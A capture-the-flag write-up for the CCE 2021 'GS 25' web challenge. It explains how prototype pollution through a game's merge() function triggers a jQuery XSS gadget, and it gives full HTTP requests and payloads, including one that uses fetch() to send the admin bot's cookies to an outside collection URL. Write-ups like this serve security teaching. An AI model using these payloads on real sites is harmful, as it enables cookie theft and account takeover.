CCE 2021 GS 25 Write Up

Posted on Sep 26, 2021

Summary

On the 25th, there was a CCE held by the National Intelligence Service, and at 11:10 pm, a few tens of minutes before the end of the competition, someone I knew asked me to solve it, so I tried to solve the GS 25 problem for a while, and it was very easy.


GS 25 [2** pts]

This GS 25 challenge is to pollute Jquery gadget with Prototype Pollution to trigger XSS.

~/Exploit/ctf/2021/CCE 2021 main*
❯ tree for_user
for_user
└── for_user
    ├── docker
    │   ├── Dockerfile
    │   └── src
    │       ├── app.js
    │       ├── package.json
    │       ├── route
    │       │   └── index.js
    │       ├── run.sh
    │       ├── static
    │       │   ├── css
    │       │   │   ├── free-v4-font-face.min.css
    │       │   │   ├── free-v4-shims.min.css
    │       │   │   ├── free.min.css
    │       │   │   ├── main.css
    │       │   │   ├── tetris.css
    │       │   │   └── theme.css
    │       │   ├── js
    │       │   │   ├── axios.min.js
    │       │   │   ├── axios.min.map
    │       │   │   ├── bootstrap.min.js
    │       │   │   ├── bootstrap.min.js.map
    │       │   │   ├── fontawesome.js
    │       │   │   ├── game
    │       │   │   │   ├── piece.js
    │       │   │   │   ├── tetris.js
    │       │   │   │   └── tetrominoes.js
    │       │   │   ├── index.js
    │       │   │   ├── jquery-3.3.1.slim.min.js
    │       │   │   ├── popper.min.js
    │       │   │   └── popper.min.js.map
    │       │   └── texture.jpg
    │       └── views
    │           ├── component
    │           │   ├── footer.ejs
    │           │   ├── header.ejs
    │           │   └── navbar.ejs
    │           ├── game.ejs
    │           ├── index.ejs
    │           └── login.ejs
    ├── docker-compose.yml
    └── robot
        ├── Dockerfile
        └── src
            ├── app.js
            ├── package-lock.json
            ├── package.json
            ├── run.sh
            └── views
                └── index.ejs

13 directories, 37 files

~/Exploit/ctf/2021/CCE 2021 main*

The challenge code is given above. So many :(

const express = require('express')
const app = express()
// const __DIR = '/usr/src/app'
const __DIR = './'
const puppeteer = require('puppeteer')
const url = 'http://prob'

/* express */
app.set('views', __DIR + '/views')
app.set('view engine', 'ejs')
app.engine('html', require('ejs').renderFile)

app.use(express.json())
app.use(express.urlencoded({ extended: true }))

app.get('/', (req, res) => {
  res.render('index')
})

app.post('/', async (req, res) => {
  const { fileName, code } = req.body
  const cookies = [{
    'name': 'fileName',
    'value': fileName
  },
  {
    'name': 'flag',
    'value': 'cce2021{EXAMPLE_FLAG}'
  }
  ]

  await (async () => {
    const browser = await puppeteer.launch({ args: ['--no-sandbox', '--disable-setuid-sandbox'] })
    const page = await browser.newPage()

    page.on('dialog', async dialog => {
      if(dialog.message() == 'Input your game data code') await dialog.accept(code)
      else await dialog.dismiss()
    })

    await page.goto(url, {
      waitUntil: 'networkidle2',
    })

    await page.setCookie(...cookies)
  
    await page.click('#playBtn')
    
    await page.keyboard.type('l')

    await new Promise(resolve => setTimeout(resolve, 1000))

    await browser.close()
  })()

  res.send("Done")
})

app.listen(80)

If you look at the conditions for obtaining the flag, you can steal the cookie of the admin bot, and you need to trigger XSS to steal it.

async function loadGame(){
  
  const code = prompt('Input your game data code')
  const req = await axios.post('/loadGame', { code })
  const result = req.data
  
  if (result.state !== 'ok') {
    alert('error')
    return 
  }

  const data = req.data.data

  function isObject(obj) {
    return obj !== null && typeof obj === 'object'
  }

  function merge(a, b) {
    for (let key in b) {
      if (isObject(a[key]) && isObject(b[key])) {
        merge(a[key], b[key])
      } else {
        a[key] = b[key]
      }
    }
    return a
  }

  this.cGameInfo = new GameInfo()
  merge(this.cGameInfo, data)
  initScreen()
  initPiecesMap(cGameInfo.panelRow, cGameInfo.panelColume)
  initDisplayGamePanel(cGameInfo.panelColume, cGameInfo.panelRow)
  initNextBlockInfo()
  setNextPieces()
  clearInterval(this.cGameInfo.dropIntervalId)
  setDropInterval()
  $(document).off('keydown')
  document.addEventListener('keydown', keyboardEventHandler)
  $(document).off('touchmove')
  setControleButton()
  
  this.cGameInfo.changeSpeedDisplay()
  this.cGameInfo.updateScore(0)
}

While checking the source code, I found a function called loadGame() in tetris.js. The loadGame() function sends a request for a unique Code value to /loadGame to get game information (object) corresponding to the Code value, and uses the merge() function to overwrite the GameInfo object.

Also, since I’m using Jquery 3.3.1 on that issue, I decided to look for an XSS gadget, and pollute that gadget to trigger XSS.

  $(document).off('keydown')
  document.addEventListener('keydown', keyboardEventHandler)
  $(document).off('touchmove')

If you look closely at the loadGame() function, you can see that there is an XSS gadget inside.

async function keyboardEventHandler(e) {
  //space 키 => c
  if(e.keyCode == 67) {
    cGameInfo.cPiece.moveEndDown();
  //왼쪽 화살표 => a
  } else if(e.keyCode == 65) {
    cGameInfo.cPiece.moveLeft();
  //위쪽 화살표 => w
  } else if(e.keyCode == 87)  {
    cGameInfo.cPiece.rotate();
  //오른쪽 화살표 => d
  } else if(e.keyCode == 68)  {
    cGameInfo.cPiece.moveRight();
  //아래 화살표 => s
  } else if(e.keyCode == 83)  {
    cGameInfo.cPiece.moveDown();
  //세이브 => p
  } else if(e.keyCode == 80) {
    await saveGame()
  // 로드 => l
  }else if(e.keyCode == 76) {
    await loadGame()
  }
}

The loadGame() function was not called automatically, but L, l had to be entered with the keyboard to execute it.

    await page.click('#playBtn')
    
    await page.keyboard.type('l')

    await new Promise(resolve => setTimeout(resolve, 1000))

But, since the admin bot uses the keyboard method to input l, the admin bot also eventually executes the loadGame() function, so I thought that I could just try it.

POST /saveGame HTTP/1.1
Host: 20.194.62.226:4423
Content-Length: 198
Accept: application/json, text/plain, */* Chrome/92.0.4515.107 Safari/537.36
Content-Type: application/json;charset=UTF-8
Cookie: fileName=01f032bb-3210-4dd3-9555-078cfa75196d
Connection: close

{"data":{"__proto__":{"__proto__":{"preventDefault":"x", "handleObj":"x","delegateTarget":"<img/src/onerror=alert(1)>"}}}}

First, to check if XSS works well, I tried to execute the loadGame() function after saving the game as above.

As expected, I was able to confirm that the XSS trigger works well.

{"data":{"__proto__":{"__proto__":{"preventDefault":"x", "handleObj":"x","delegateTarget":"<img/src/onerror=fetch(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/f=`+document.cookie)>"}}}}

The cookie stealing POC is as above.

  • Scenario
    • Save the PoC of Prototype Pollution in the /saveGame
    • Send the code number including the filename and PoC in the report logic.

Based on the above scenario, i were able to steal the flag by trying the exploit.

FLAG : cce2021{5cd5185ef46ce86f6c33543f75752a559fa843ec91a1176144f1a15d468f318d}